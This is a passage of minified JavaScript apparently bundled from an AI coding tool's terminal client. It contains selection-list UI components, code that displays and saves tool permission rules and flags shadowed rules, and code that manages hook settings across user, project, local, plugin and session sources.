K=s(51),{option:q,isFocused:Y,isSelected:z,shouldShowDownArrow:w,shouldShowUpArrow:H,maxIndexWidth:J,index:O,inputValue:X,onInputChange:$,onSubmit:_,onExit:G,layout:Z,children:W,showLabel:D,onOpenEditor:j,resetCursorOnUpdate:M}=A,P=D===void 0?!1:D,f=M===void 0?!1:M,N=P||q.showLabelWithValue===!0,[T,C]=$0.useState(X.length),R;if(K[0]!==X.length||K[1]!==Y||K[2]!==f)R=()=>{if(f&&Y)C(X.length)},K[0]=X.length,K[1]=Y,K[2]=f,K[3]=R;else R=K[3];let x;if(K[4]!==X||K[5]!==Y||K[6]!==f)x=[f,Y,X],K[4]=X,K[5]=Y,K[6]=f,K[7]=x;else x=K[7];$0.useEffect(R,x);let y;if(K[8]!==X||K[9]!==$||K[10]!==j)y=()=>{j?.(X,$)},K[8]=X,K[9]=$,K[10]=j,K[11]=y;else y=K[11];let B=Y&&!!j,b;if(K[12]!==B)b={context:"Chat",isActive:B},K[12]=B,K[13]=b;else b=K[13];J6("chat:externalEditor",y,b);let F=Z==="expanded"?J+3:J+4,Q=Z==="compact"?0:void 0,u=`${O}.`,d;if(K[14]!==J||K[15]!==u)d=u.padEnd(J+2),K[14]=J,K[15]=u,K[16]=d;else d=K[16];let r;if(K[17]!==d)r=$0.default.createElement(V,{dimColor:!0},d),K[17]=d,K[18]=r;else r=K[18];let c;if(K[19]!==T||K[20]!==X||K[21]!==Y||K[22]!==G||K[23]!==$||K[24]!==_||K[25]!==q||K[26]!==N)c=N?$0.default.createElement($0.default.Fragment,null,$0.default.createElement(V,{color:Y?"suggestion":void 0},q.label),Y?$0.default.createElement($0.default.Fragment,null,$0.default.createElement(V,{color:"suggestion"},q.labelValueSeparator??", "),$0.default.createElement(dq,{value:X,onChange:(a)=>{$(a),q.onChange(a)},onSubmit:_,onExit:G,placeholder:q.placeholder,focus:!0,showCursor:!0,cursorOffset:T,onChangeCursorOffset:C,columns:80})):X&&$0.default.createElement(V,null,q.labelValueSeparator??", ",X)):Y?$0.default.createElement(dq,{value:X,onChange:(a)=>{$(a),q.onChange(a)},onSubmit:_,onExit:G,placeholder:q.placeholder||(typeof q.label==="string"?q.label:void 0),focus:!0,showCursor:!0,cursorOffset:T,onChangeCursorOffset:C,columns:80}):$0.default.createElement(V,{color:X?void 0:"inactive"},X||q.placeholder||q.label),K[19]=T,K[20]=X,K[21]=Y,K[22]=G,K[23]=$,K[24]=_,K[25]=q,K[26]=N,K[27]=c;else c=K[27];let YA;if(K[28]!==W||K[29]!==r||K[30]!==c||K[31]!==Q)YA=$0.default.createElement(S,{flexDirection:"row",flexShrink:Q},r,W,c),K[28]=W,K[29]=r,K[30]=c,K[31]=Q,K[32]=YA;else YA=K[32];let e;if(K[33]!==Y||K[34]!==z||K[35]!==w||K[36]!==H||K[37]!==YA)e=$0.default.createElement(sa,{isFocused:Y,isSelected:z,shouldShowDownArrow:w,shouldShowUpArrow:H},YA),K[33]=Y,K[34]=z,K[35]=w,K[36]=H,K[37]=YA,K[38]=e;else e=K[38];let qA;if(K[39]!==F||K[40]!==Y||K[41]!==z||K[42]!==q.description||K[43]!==q.dimDescription)qA=q.description&&$0.default.createElement(S,{paddingLeft:F},$0.default.createElement(V,{dimColor:q.dimDescription!==!1,color:z?"success":Y?"suggestion":void 0},q.description)),K[39]=F,K[40]=Y,K[41]=z,K[42]=q.description,K[43]=q.dimDescription,K[44]=qA;else qA=K[44];let HA;if(K[45]!==Z)HA=Z==="expanded"&&$0.default.createElement(V,null," "),K[45]=Z,K[46]=HA;else HA=K[46];let _A;if(K[47]!==e||K[48]!==qA||K[49]!==HA)_A=$0.default.createElement(S,{flexDirection:"column",flexShrink:0},e,qA,HA),K[47]=e,K[48]=qA,K[49]=HA,K[50]=_A;else _A=K[50];return _A}var $0;var PP6=k(()=>{cA();mA();x_1();nH();C8();$0=o($A(),1)});function F_1(A){if(typeof A==="string")return A;if(typeof A==="number")return String(A);if(!A)return"";if(Array.isArray(A))return A.map(F_1).join("");if(m7.default.isValidElement(A))return F_1(A.props.children);return""}function E6(A){let K=s(63),{isDisabled:q,hideIndexes:Y,visibleOptionCount:z,highlightText:w,options:H,defaultValue:J,onCancel:O,onChange:X,onFocus:$,defaultFocusValue:_,layout:G,disableSelection:Z,inlineDescriptions:W,onUpFromFirstItem:D,onDownFromLastItem:j,onInputModeToggle:M,onOpenEditor:P}=A,f=q===void 0?!1:q,N=Y===void 0?!1:Y,T=z===void 0?5:z,C=G===void 0?"compact":G,R=Z===void 0?!1:Z,x=W===void 0?!1:W,y;if(K[0]!==H)y=()=>{let jA=new Map;return H.forEach((MA)=>{if(MA.type==="input"&&MA.initialValue)jA.set(MA.value,MA.initialValue)}),jA},K[0]=H,K[1]=y;else y=K[1];let[B,b]=m7.useState(y),F;if(K[2]===Symbol.for("react.memo_cache_sentinel"))F=new Map,K[2]=F;else F=K[2];let Q=m7.useRef(F),u,d;if(K[3]!==B||K[4]!==H)d=()=>{for(let jA of H)if(jA.type==="input"&&jA.initialValue!==void 0){let MA=Q.current.get(jA.value)??"",hA=B.get(jA.value)??"",yA=jA.initialValue;if(yA!==MA&&hA===MA)b((AA)=>{let wA=new Map(AA);return wA.set(jA.value,yA),wA});Q.current.set(jA.value,yA)}},u=[H,B],K[3]=B,K[4]=H,K[5]=u,K[6]=d;else u=K[5],d=K[6];m7.useEffect(d,u);let r;if(K[7]!==_||K[8]!==J||K[9]!==O||K[10]!==X||K[11]!==$||K[12]!==H||K[13]!==T)r={visibleOptionCount:T,options:H,defaultValue:J,onChange:X,onCancel:O,onFocus:$,focusValue:_},K[7]=_,K[8]=J,K[9]=O,K[10]=X,K[11]=$,K[12]=H,K[13]=T,K[14]=r;else r=K[14];let c=EM7(r),YA=R||(N?"numeric":!1),e;if(K[15]!==B||K[16]!==f||K[17]!==j||K[18]!==M||K[19]!==D||K[20]!==H||K[21]!==c||K[22]!==YA)e={isDisabled:f,disableSelection:YA,state:c,options:H,isMultiSelect:!1,onUpFromFirstItem:D,onDownFromLastItem:j,onInputModeToggle:M,inputValues:B},K[15]=B,K[16]=f,K[17]=j,K[18]=M,K[19]=D,K[20]=H,K[21]=c,K[22]=YA,K[23]=e;else e=K[23];yM7(e);let qA,HA,_A,a;if(K[24]!==N||K[25]!==w||K[26]!==x||K[27]!==B||K[28]!==f||K[29]!==C||K[30]!==O||K[31]!==X||K[32]!==P||K[33]!==H.length||K[34]!==c.focusedValue||K[35]!==c.options||K[36]!==c.value||K[37]!==c.visibleFromIndex||K[38]!==c.visibleOptions||K[39]!==c.visibleToIndex){a=Symbol.for("react.early_return_sentinel");A:{let jA={container:PyY,highlightedText:MyY};if(C==="expanded"){let GA;if(K[44]!==c.options.length)GA=c.options.length.toString(),K[44]=c.options.length,K[45]=GA;else GA=K[45];let OA=GA.length;a=m7.default.createElement(S,{...jA.container()},c.visibleOptions.map((t,XA)=>{let VA=t.index===c.visibleFromIndex,vA=t.index===c.visibleToIndex-1,RA=c.visibleToIndex<H.length,fA=c.visibleFromIndex>0,LA=c.visibleFromIndex+XA+1,SA=!f&&c.focusedValue===t.value,xA=c.value===t.value;if(t.type==="input"){let I1=B.has(t.value)?B.get(t.value):t.initialValue||"";return m7.default.createElement(WWA,{key:String(t.value),option:t,isFocused:SA,isSelected:xA,shouldShowDownArrow:RA&&vA,shouldShowUpArrow:fA&&VA,maxIndexWidth:OA,index:LA,inputValue:I1,onInputChange:(Q1)=>{b((B1)=>{let C6=new Map(B1);return C6.set(t.value,Q1),C6})},onSubmit:(Q1)=>{if(Q1.trim()||t.allowEmptySubmitToCancel)X?.(t.value);else O?.()},onExit:O,layout:"expanded",showLabel:x,onOpenEditor:P,resetCursorOnUpdate:t.resetCursorOnUpdate})}let iA=t.label;if(typeof t.label==="string"&&w&&t.label.includes(w)){let I1=t.label,Q1=I1.indexOf(w);iA=m7.default.createElement(m7.default.Fragment,null,I1.slice(0,Q1),m7.default.createElement(V,{...jA.highlightedText()},w),I1.slice(Q1+w.length))}let lA=t.disabled===!0,v1=lA?void 0:xA?"success":SA?"suggestion":void 0;return m7.default.createElement(S,{key:String(t.value),flexDirection:"column",flexShrink:0},m7.default.createElement(sa,{isFocused:SA,isSelected:xA,shouldShowDownArrow:RA&&vA,shouldShowUpArrow:fA&&VA},m7.default.createElement(V,{dimColor:lA,color:v1},iA)),t.description&&m7.default.createElement(S,{paddingLeft:2},m7.default.createElement(V,{dimColor:lA||t.dimDescription!==!1,color:v1},m7.default.createElement(a3,null,t.description))),m7.default.createElement(V,null," "))}));break A}if(C==="compact-vertical"){let GA;if(K[46]!==N||K[47]!==c.options)GA=N?0:c.options.length.toString().length,K[46]=N,K[47]=c.options,K[48]=GA;else GA=K[48];let OA=GA;a=m7.default.createElement(S,{...jA.container()},c.visibleOptions.map((t,XA)=>{let VA=t.index===c.visibleFromIndex,vA=t.index===c.visibleToIndex-1,RA=c.visibleToIndex<H.length,fA=c.visibleFromIndex>0,LA=c.visibleFromIndex+XA+1,SA=!f&&c.focusedValue===t.value,xA=c.value===t.value;if(t.type==="input"){let v1=B.has(t.value)?B.get(t.value):t.initialValue||"";return m7.default.createElement(WWA,{key:String(t.value),option:t,isFocused:SA,isSelected:xA,shouldShowDownArrow:RA&&vA,shouldShowUpArrow:fA&&VA,maxIndexWidth:OA,index:LA,inputValue:v1,onInputChange:(I1)=>{b((Q1)=>{let B1=new Map(Q1);return B1.set(t.value,I1),B1})},onSubmit:(I1)=>{if(I1.trim()||t.allowEmptySubmitToCancel)X?.(t.value);else O?.()},onExit:O,layout:"compact",showLabel:x,onOpenEditor:P,resetCursorOnUpdate:t.resetCursorOnUpdate})}let iA=t.label;if(typeof t.label==="string"&&w&&t.label.includes(w)){let v1=t.label,I1=v1.indexOf(w);iA=m7.default.createElement(m7.default.Fragment,null,v1.slice(0,I1),m7.default.createElement(V,{...jA.highlightedText()},w),v1.slice(I1+w.length))}let lA=t.disabled===!0;return m7.default.createElement(S,{key:String(t.value),flexDirection:"column",flexShrink:0},m7.default.createElement(sa,{isFocused:SA,isSelected:xA,shouldShowDownArrow:RA&&vA,shouldShowUpArrow:fA&&VA},m7.default.createElement(m7.default.Fragment,null,!N&&m7.default.createElement(V,{dimColor:!0},`${LA}.`.padEnd(OA+1)),m7.default.createElement(V,{dimColor:lA,color:lA?void 0:xA?"success":SA?"suggestion":void 0},iA))),t.description&&m7.default.createElement(S,{paddingLeft:N?2:OA+4},m7.default.createElement(V,{dimColor:lA||t.dimDescription!==!1,color:lA?void 0:xA?"success":SA?"suggestion":void 0},m7.default.createElement(a3,null,t.description))))}));break A}let MA;if(K[49]!==N||K[50]!==c.options)MA=N?0:c.options.length.toString().length,K[49]=N,K[50]=c.options,K[51]=MA;else MA=K[51];let hA=MA,yA=c.visibleOptions.some(jyY),AA=!x&&!yA&&c.visibleOptions.some(DyY),wA=c.visibleOptions.map((GA,OA)=>{let t=GA.index===c.visibleFromIndex,XA=GA.index===c.visibleToIndex-1,VA=c.visibleToIndex<H.length,vA=c.visibleFromIndex>0,RA=c.visibleFromIndex+OA+1,fA=!f&&c.focusedValue===GA.value,LA=c.value===GA.value,SA=GA.disabled===!0,xA=GA.label;if(typeof GA.label==="string"&&w&&GA.label.includes(w)){let iA=GA.label,lA=iA.indexOf(w);xA=m7.default.createElement(m7.default.Fragment,null,iA.slice(0,lA),m7.default.createElement(V,{...jA.highlightedText()},w),iA.slice(lA+w.length))}return{option:GA,index:RA,label:xA,isFocused:fA,isSelected:LA,isOptionDisabled:SA,shouldShowDownArrow:VA&&XA,shouldShowUpArrow:vA&&t}});if(AA){let GA;if(K[52]!==N||K[53]!==hA)GA=(XA)=>{if(XA.option.type==="input")return 0;let VA=F_1(XA.option.label),vA=N?0:hA+2,RA=XA.isSelected?2:0;return 2+vA+j7(VA)+RA},K[52]=N,K[53]=hA,K[54]=GA;else GA=K[54];let OA=Math.max(...wA.map(GA)),t;if(K[55]!==N||K[56]!==hA||K[57]!==OA)t=(XA)=>{if(XA.option.type==="input")return null;let VA=F_1(XA.option.label),vA=N?0:hA+2,RA=XA.isSelected?2:0,fA=2+vA+j7(VA)+RA,LA=OA-fA;return m7.default.createElement(S,{key:String(XA.option.value),flexDirection:"row"},m7.default.createElement(S,{flexDirection:"row",flexShrink:0},XA.isFocused?m7.default.createElement(V,{color:"suggestion"},eA.pointer):XA.shouldShowDownArrow?m7.default.createElement(V,{dimColor:!0},eA.arrowDown):XA.shouldShowUpArrow?m7.default.createElement(V,{dimColor:!0},eA.arrowUp):m7.default.createElement(V,null," "),m7.default.createElement(V,null," "),m7.default.createElement(V,{dimColor:XA.isOptionDisabled,color:XA.isOptionDisabled?void 0:XA.isSelected?"success":XA.isFocused?"suggestion":void 0},!N&&m7.default.createElement(V,{dimColor:!0},`${XA.index}.`.padEnd(hA+2)),XA.label),XA.isSelected&&m7.default.createElement(V,{color:"success"}," ",eA.tick),LA>0&&m7.default.createElement(V,null," ".repeat(LA))),m7.default.createElement(S,{flexGrow:1,marginLeft:2},m7.default.createElement(V,{wrap:"wrap",dimColor:XA.isOptionDisabled||XA.option.dimDescription!==!1,color:XA.isOptionDisabled?void 0:XA.isSelected?"success":XA.isFocused?"suggestion":void 0},m7.default.createElement(a3,null,XA.option.description||" "))))},K[55]=N,K[56]=hA,K[57]=OA,K[58]=t;else t=K[58];a=m7.default.createElement(S,{...jA.container()},wA.map(t));break A}qA=S,HA=jA.container(),_A=c.visibleOptions.map((GA,OA)=>{if(GA.type==="input"){let iA=B.has(GA.value)?B.get(GA.value):GA.initialValue||"",lA=GA.index===c.visibleFromIndex,v1=GA.index===c.visibleToIndex-1,I1=c.visibleToIndex<H.length,Q1=c.visibleFromIndex>0,B1=c.visibleFromIndex+OA+1,C6=!f&&c.focusedValue===GA.value,w1=c.value===GA.value;return m7.default.createElement(WWA,{key:String(GA.value),option:GA,isFocused:C6,isSelected:w1,shouldShowDownArrow:I1&&v1,shouldShowUpArrow:Q1&&lA,maxIndexWidth:hA,index:B1,inputValue:iA,onInputChange:($1)=>{b((N1)=>{let A6=new Map(N1);return A6.set(GA.value,$1),A6})},onSubmit:($1)=>{if($1.trim()||GA.allowEmptySubmitToCancel)X?.(GA.value);else O?.()},onExit:O,layout:"compact",showLabel:x,onOpenEditor:P,resetCursorOnUpdate:GA.resetCursorOnUpdate})}let t=GA.label;if(typeof GA.label==="string"&&w&&GA.label.includes(w)){let iA=GA.label,lA=iA.indexOf(w);t=m7.default.createElement(m7.default.Fragment,null,iA.slice(0,lA),m7.default.createElement(V,{...jA.highlightedText()},w),iA.slice(lA+w.length))}let XA=GA.index===c.visibleFromIndex,VA=GA.index===c.visibleToIndex-1,vA=c.visibleToIndex<H.length,RA=c.visibleFromIndex>0,fA=c.visibleFromIndex+OA+1,LA=!f&&c.focusedValue===GA.value,SA=c.value===GA.value,xA=GA.disabled===!0;return m7.default.createElement(sa,{key:String(GA.value),isFocused:LA,isSelected:SA,shouldShowDownArrow:vA&&VA,shouldShowUpArrow:RA&&XA},m7.default.createElement(S,{flexDirection:"row",flexShrink:0},!N&&m7.default.createElement(V,{dimColor:!0},`${fA}.`.padEnd(hA+2)),m7.default.createElement(V,{dimColor:xA,color:xA?void 0:SA?"success":LA?"suggestion":void 0},t,x&&GA.description&&m7.default.createElement(V,{dimColor:xA||GA.dimDescription!==!1}," ",GA.description))),!x&&GA.description&&m7.default.createElement(S,{flexShrink:99,marginLeft:2},m7.default.createElement(V,{wrap:"wrap-trim",dimColor:xA||GA.dimDescription!==!1,color:xA?void 0:SA?"success":LA?"suggestion":void 0},m7.default.createElement(a3,null,GA.description))))})}K[24]=N,K[25]=w,K[26]=x,K[27]=B,K[28]=f,K[29]=C,K[30]=O,K[31]=X,K[32]=P,K[33]=H.length,K[34]=c.focusedValue,K[35]=c.options,K[36]=c.value,K[37]=c.visibleFromIndex,K[38]=c.visibleOptions,K[39]=c.visibleToIndex,K[40]=qA,K[41]=HA,K[42]=_A,K[43]=a}else qA=K[40],HA=K[41],_A=K[42],a=K[43];if(a!==Symbol.for("react.early_return_sentinel"))return a;let JA;if(K[59]!==qA||K[60]!==HA||K[61]!==_A)JA=m7.default.createElement(qA,{...HA},_A),K[59]=qA,K[60]=HA,K[61]=_A,K[62]=JA;else JA=K[62];return JA}function DyY(A){return A.description}function jyY(A){return A.type==="input"}function MyY(){return{bold:!0}}function PyY(){return{flexDirection:"column"}}var m7;var L3=k(()=>{cA();mA();x_1();kM7();IM7();g4();PP6();XG();m7=o($A(),1)});function Q_1(A){let K=s(9),{ruleValue:q}=A;switch(q.toolName){case o7.name:if(q.ruleContent)if(q.ruleContent.endsWith(":*")){let Y;if(K[0]!==q.ruleContent)Y=q.ruleContent.slice(0,-2),K[0]=q.ruleContent,K[1]=Y;else Y=K[1];let z;if(K[2]!==Y)z=sM.createElement(V,{dimColor:!0},"Any Bash command starting with"," ",sM.createElement(V,{bold:!0},Y)),K[2]=Y,K[3]=z;else z=K[3];return z}else{let Y;if(K[4]!==q.ruleContent)Y=sM.createElement(V,{dimColor:!0},"The Bash command ",sM.createElement(V,{bold:!0},q.ruleContent)),K[4]=q.ruleContent,K[5]=Y;else Y=K[5];return Y}else{let Y;if(K[6]===Symbol.for("react.memo_cache_sentinel"))Y=sM.createElement(V,{dimColor:!0},"Any Bash command"),K[6]=Y;else Y=K[6];return Y}default:if(!q.ruleContent){let Y;if(K[7]!==q.toolName)Y=sM.createElement(V,{dimColor:!0},"Any use of the ",sM.createElement(V,{bold:!0},q.toolName)," tool"),K[7]=q.toolName,K[8]=Y;else Y=K[8];return Y}else return null}}var sM;var VP6=k(()=>{cA();mA();xG();sM=o($A(),1)});function VyY(A){return A==="projectSettings"||A==="policySettings"||A==="command"}function U_1(A){return ZmA(A)}function SM7(A,K,q){let Y=U_1(K.source),z=U_1(q.source),w=K.ruleValue.toolName;if(A==="deny")return`Remove the "${w}" deny rule from ${Y}, or remove the specific allow rule from ${z}`;return`Remove the "${w}" ask rule from ${Y}, or remove the specific allow rule from ${z}`}function fyY(A,K,q){let{toolName:Y,ruleContent:z}=A.ruleValue;if(z===void 0)return{shadowed:!1};let w=K.find((H)=>H.ruleValue.toolName===Y&&H.ruleValue.ruleContent===void 0);if(!w)return{shadowed:!1};if(Y===G7&&q.sandboxAutoAllowEnabled){if(!VyY(w.source))return{shadowed:!1}}return{shadowed:!0,shadowedBy:w,shadowType:"ask"}}function NyY(A,K){let{toolName:q,ruleContent:Y}=A.ruleValue;if(Y===void 0)return{shadowed:!1};let z=K.find((w)=>w.ruleValue.toolName===q&&w.ruleValue.ruleContent===void 0);if(!z)return{shadowed:!1};return{shadowed:!0,shadowedBy:z,shadowType:"deny"}}function DWA(A,K){let q=[],Y=jWA(A),z=MWA(A),w=Rp(A);for(let H of Y){let J=NyY(H,w);if(J.shadowed){let X=U_1(J.shadowedBy.source);q.push({rule:H,reason:`Blocked by "${J.shadowedBy.ruleValue.toolName}" deny rule (from ${X})`,shadowedBy:J.shadowedBy,shadowType:"deny",fix:SM7("deny",J.shadowedBy,H)});continue}let O=fyY(H,z,K);if(O.shadowed){let X=U_1(O.shadowedBy.source);q.push({rule:H,reason:`Shadowed by "${O.shadowedBy.ruleValue.toolName}" ask rule (from ${X})`,shadowedBy:O.shadowedBy,shadowType:"ask",fix:SM7("ask",O.shadowedBy,H)})}}return q}var p_1=k(()=>{S2()});function fP6(A){switch(A){case"localSettings":return{label:"Project settings (local)",description:`Saved in ${VWA("localSettings")}`,value:A};case"projectSettings":return{label:"Project settings",description:`Checked in at ${VWA("projectSettings")}`,value:A};case"userSettings":return{label:"User settings",description:"Saved in at ~/.claude/settings.json",value:A}}}function hM7(A){let K=s(24),{onAddRules:q,onCancel:Y,ruleValues:z,ruleBehavior:w,initialContext:H,setToolPermissionContext:J}=A,O;if(K[0]===Symbol.for("react.memo_cache_sentinel"))O=PWA.map(fP6),K[0]=O;else O=K[0];let X=O,$;if(K[1]!==H||K[2]!==q||K[3]!==Y||K[4]!==w||K[5]!==z||K[6]!==J)$=(N)=>{if(N==="cancel"){Y();return}else if(PWA.includes(N)){let T=N,C=nY(H,{type:"addRules",rules:z,behavior:w,destination:T});Lb({type:"addRules",rules:z,behavior:w,destination:T}),J(C);let R=z.map((b)=>({ruleValue:b,ruleBehavior:w,source:T})),x=S8.isSandboxingEnabled()&&S8.isAutoAllowBashIfSandboxedEnabled(),B=DWA(C,{sandboxAutoAllowEnabled:x}).filter((b)=>z.some((F)=>F.toolName===b.rule.ruleValue.toolName&&F.ruleContent===b.rule.ruleValue.ruleContent));q(R,B.length>0?B:void 0)}},K[1]=H,K[2]=q,K[3]=Y,K[4]=w,K[5]=z,K[6]=J,K[7]=$;else $=K[7];let _=$,G=`Add ${w} permission rule${z.length===1?"":"s"}`,Z;if(K[8]!==z)Z=z.map(TyY),K[8]=z,K[9]=Z;else Z=K[9];let W;if(K[10]!==Z)W=OW.createElement(S,{flexDirection:"column",paddingX:2},Z),K[10]=Z,K[11]=W;else W=K[11];let D=z.length===1?"Where should this rule be saved?":"Where should these rules be saved?",j;if(K[12]!==D)j=OW.createElement(V,null,D),K[12]=D,K[13]=j;else j=K[13];let M;if(K[14]!==_)M=OW.createElement(E6,{options:X,onChange:_}),K[14]=_,K[15]=M;else M=K[15];let P;if(K[16]!==j||K[17]!==M)P=OW.createElement(S,{flexDirection:"column",marginY:1},j,M),K[16]=j,K[17]=M,K[18]=P;else P=K[18];let f;if(K[19]!==Y||K[20]!==W||K[21]!==P||K[22]!==G)f=OW.createElement(L4,{title:G,onCancel:Y,color:"permission"},W,P),K[19]=Y,K[20]=W,K[21]=P,K[22]=G,K[23]=f;else f=K[23];return f}function TyY(A){return OW.createElement(S,{flexDirection:"column",key:I9(A)},OW.createElement(V,{bold:!0},I9(A)),OW.createElement(Q_1,{ruleValue:A}))}var OW,PWA;var d_1=k(()=>{cA();mA();L3();S2();LH();LH();VP6();I8();t3();p_1();SH();OW=o($A(),1);PWA=["localSettings","projectSettings","userSettings"]});function c_1(A,K,q,Y,z,w,H){xM7(A,K,q,Y,z,w,H)}function l_1(A,K,q,Y,z,w,H){let J=H?.id||`function-hook-${Date.now()}-${Math.random()}`,O={type:"function",id:J,timeout:H?.timeout||5000,callback:z,errorMessage:w};return xM7(A,K,q,Y,O),J}function xM7(A,K,q,Y,z,w,H){A((J)=>{let O=J.sessionHooks[K]||{hooks:{}},X=O.hooks[q]||[],$=X.findIndex((Z)=>Z.matcher===Y&&Z.skillRoot===H),_;if($>=0){_=[...X];let Z=_[$];_[$]={matcher:Z.matcher,skillRoot:Z.skillRoot,hooks:[...Z.hooks,{hook:z,onHookSuccess:w}]}}else _=[...X,{matcher:Y,skillRoot:H,hooks:[{hook:z,onHookSuccess:w}]}];let G={...O.hooks,[q]:_};return{...J,sessionHooks:{...J.sessionHooks,[K]:{hooks:G}}}}),h(`Added session hook for event ${q} in session ${K}`)}function uM7(A,K,q,Y){A((z)=>{let w=z.sessionHooks[K];if(!w)return z;let J=(w.hooks[q]||[]).map((X)=>{let $=X.hooks.filter((_)=>!NWA(_.hook,Y));return $.length>0?{...X,hooks:$}:null}).filter((X)=>X!==null),O=J.length>0?{...w.hooks,[q]:J}:{...w.hooks};if(J.length===0)delete O[q];return{...z,sessionHooks:{...z.sessionHooks,[K]:{...w,hooks:O}}}}),h(`Removed session hook for event ${q} in session ${K}`)}function bM7(A){return A.map((K)=>({matcher:K.matcher,skillRoot:K.skillRoot,hooks:K.hooks.map((q)=>q.hook).filter((q)=>q.type!=="function")}))}function i_1(A,K,q){let Y=A.sessionHooks[K];if(!Y)return new Map;let z=new Map;if(q){let w=Y.hooks[q];if(w)z.set(q,bM7(w));return z}for(let w of px){let H=Y.hooks[w];if(H)z.set(w,bM7(H))}return z}function BM7(A,K,q){let Y=A.sessionHooks[K];if(!Y)return new Map;let z=new Map,w=(H)=>{return H.map((J)=>({matcher:J.matcher,hooks:J.hooks.map((O)=>O.hook).filter((O)=>O.type==="function")})).filter((J)=>J.hooks.length>0)};if(q){let H=Y.hooks[q];if(H){let J=w(H);if(J.length>0)z.set(q,J)}return z}for(let H of px){let J=Y.hooks[H];if(J){let O=w(J);if(O.length>0)z.set(H,O)}}return z}function mM7(A,K,q,Y,z){let w=A.sessionHooks[K];if(!w)return;let H=w.hooks[q];if(!H)return;for(let J of H)if(J.matcher===Y||Y===""){let O=J.hooks.find((X)=>NWA(X.hook,z));if(O)return O}return}function fWA(A,K){A((q)=>{let Y={...q.sessionHooks};return delete Y[K],{...q,sessionHooks:Y}}),h(`Cleared all session hooks for session ${K}`)}var yp=k(()=>{j$A();Z1();GB()});import{resolve as vyY}from"path";function NWA(A,K){if(A.type!==K.type)return!1;switch(A.type){case"command":return K.type==="command"&&A.command===K.command;case"prompt":return K.type==="prompt"&&A.prompt===K.prompt;case"agent":return K.type==="agent"&&A.prompt===K.prompt;case"function":return!1}}function tM(A){if("statusMessage"in A&&A.statusMessage)return A.statusMessage;switch(A.type){case"command":return A.command;case"prompt":return A.prompt;case"agent":return A.prompt([]);case"callback":return"callback";case"function":return"function"}}function gM7(A){let K=[];if(E4("policySettings")?.allowManagedHooksOnly!==!0){let H=["userSettings","projectSettings","localSettings"],J=new Set;for(let O of H){let X=pO(O);if(X){let _=vyY(X);if(J.has(_))continue;J.add(_)}let $=E4(O);if(!$?.hooks)continue;for(let[_,G]of Object.entries($.hooks))for(let Z of G)for(let W of Z.hooks)K.push({event:_,config:W,matcher:Z.matcher,source:O})}}let z=d1(),w=i_1(A,z);for(let[H,J]of w.entries())for(let O of J)for(let X of O.hooks)K.push({event:H,config:X,matcher:O.matcher,source:"sessionHook"});return K}async function FM7(A,K,q="",Y="userSettings"){let w=(E4(Y)??{}).hooks??{},H=w[A]??[],J=H.findIndex((_)=>_.matcher===q),O;if(J>=0){O=[...H];let _=O[J];O[J]={matcher:_.matcher,hooks:[..._.hooks,K]}}else O=[...H,{matcher:q,hooks:[K]}];let X={...w,[A]:O},{error:$}=v4(Y,{hooks:X});if($)throw Error($.message);oqA()}async function QM7(A){if(A.source==="pluginHook")throw Error("Plugin hooks cannot be removed through settings. Disable the plugin instead.");if(A.source==="sessionHook")throw Error("Session hooks cannot be removed through settings. They are temporary and will be cleared when the session ends.");let K=E4(A.source)??{},q=K.hooks??{},z=(q[A.event]??[]).map((J)=>{if(J.matcher===A.matcher){let O=J.hooks.filter((X)=>!NWA(X,A.config));return O.length>0?{...J,hooks:O}:null}return J}).filter((J)=>J!==null),w={...q,[A.event]:z.length>0?z:void 0},H=Object.values(w).some((J)=>J!==void 0);v4(A.source,{...K,hooks:H?w:void 0}),oqA()}function UM7(A){switch(A){case"userSettings":return"User settings (~/.claude/settings.json)";case"projectSettings":return"Project settings (.claude/settings.json)";case"localSettings":return"Local settings (.claude/settings.local.json)";case"pluginHook":return"Plugin hooks (~/.claude/plugins/*/hooks/hooks.json)";case"sessionHook":return"Session hooks (in-memory, temporary)";default:return A}}function NP6(A){switch(A){case"userSettings":return"User Settings";case"projectSettings":return"Project Settings";case"localSettings":return"Local Settings";case"pluginHook":return"Plugin Hooks";case"sessionHook":return"Session Hooks";default:return A}}function pM7(A){switch(A){case"userSettings":return"User";case"projectSettings":return"Project";case"localSettings":return"Local";case"pluginHook":return"Plugin";case"sessionHook":return"Session";default:return A}}function dM7(A,K,q){let Y=PWA.reduce((z,w,H)=>{return z[w]=H,z},{});return[...A].sort((z,w)=>{let H=K[q]?.[z]||[],J=K[q]?.[w]||[],O=Array.from(new Set(H.map((Z)=>Z.source))),X=Array.from(new Set(J.map((Z)=>Z.source))),$=(Z)=>Z==="pluginHook"?999:Y[Z],_=Math.min(...O.map($)),G=Math.min(...X.map($));if(_!==G)return _-G;return z.localeCompare(w)})}var GB=k(()=>{I8();d_1();aqA();yp();q6()});function TP6(){let A=E4("policySettings");if(A?.allowManagedHooksOnly===!0)return A.hooks??{};return J8().hooks??{}}function Ip(){return E4("policySettings")?.allowManagedHooksOnly===!0}function vP6(A){if(!A)return null;let K={},q=Object.keys(A).sort();for(let Y of q){let z=A[Y];if(!z)continue;let w=[...z].sort((H,J)=>{let O=H.matcher||"",X=J.matcher||"";return O.localeCompare(X)});K[Y]=w.map((H)=>({matcher:H.matcher,hooks:[...H.hooks].sort((J,O)=>tM(J).localeCompare(tM(O)))}))}return K}function EP6(){let A=TP6();ta=vP6(A)}function oqA(){U_();let A=TP6();ta=vP6(A)}function cM7(){if(ta===null)return null;let A=vP6(TP6()),K=UA(ta),q=UA(A);if(K===q)return null;let Y=[],z=new Set(Object.keys(ta||{})),w=new Set(Object.keys(A||{}));for(let H of w)if(!z.has(H))Y.push(`Added hooks for event: ${H}`);for(let H of z)if(!w.has(H))Y.push(`Removed all hooks for event: ${H}`);for(let H of z)if(w.has(H)){let J=ta?.[H]||[],O=A?.[H]||[];if(UA(J)!==UA(O)){let X=[],$=new Map(J.map((G)=>[G.matcher||"",G])),_=new Map(O.map((G)=>[G.matcher||"",G]));for(let[G]of _)if(!$.has(G))X.push(` - Added matcher: ${G||"(no matcher)"}`);for(let[G]of $)if(!_.has(G))X.push(` - Removed matcher: ${G||"(no matcher)"}`);for(let[G,Z]of _)if($.has(G)){let W=$.get(G);if(UA(W.hooks)!==UA(Z.hooks))X.push(` - Modified hooks for matcher: ${G||"(no matcher)"}`)}if(X.length>0)Y.push(`Modified hooks for event: ${H}`),Y.push(...X);else Y.push(`Modified hooks for event: ${H}`)}}return Y.length>0?Y.join(` `):"Hooks configuration has been modified"}function lM7(){if(ta===null)EP6();return ta}var ta=null;var aqA=k(()=>{I8();GB();q6();b1()});function kP6(A){let K=kyY[A],q=process.env[A];if(q===void 0)return K;return 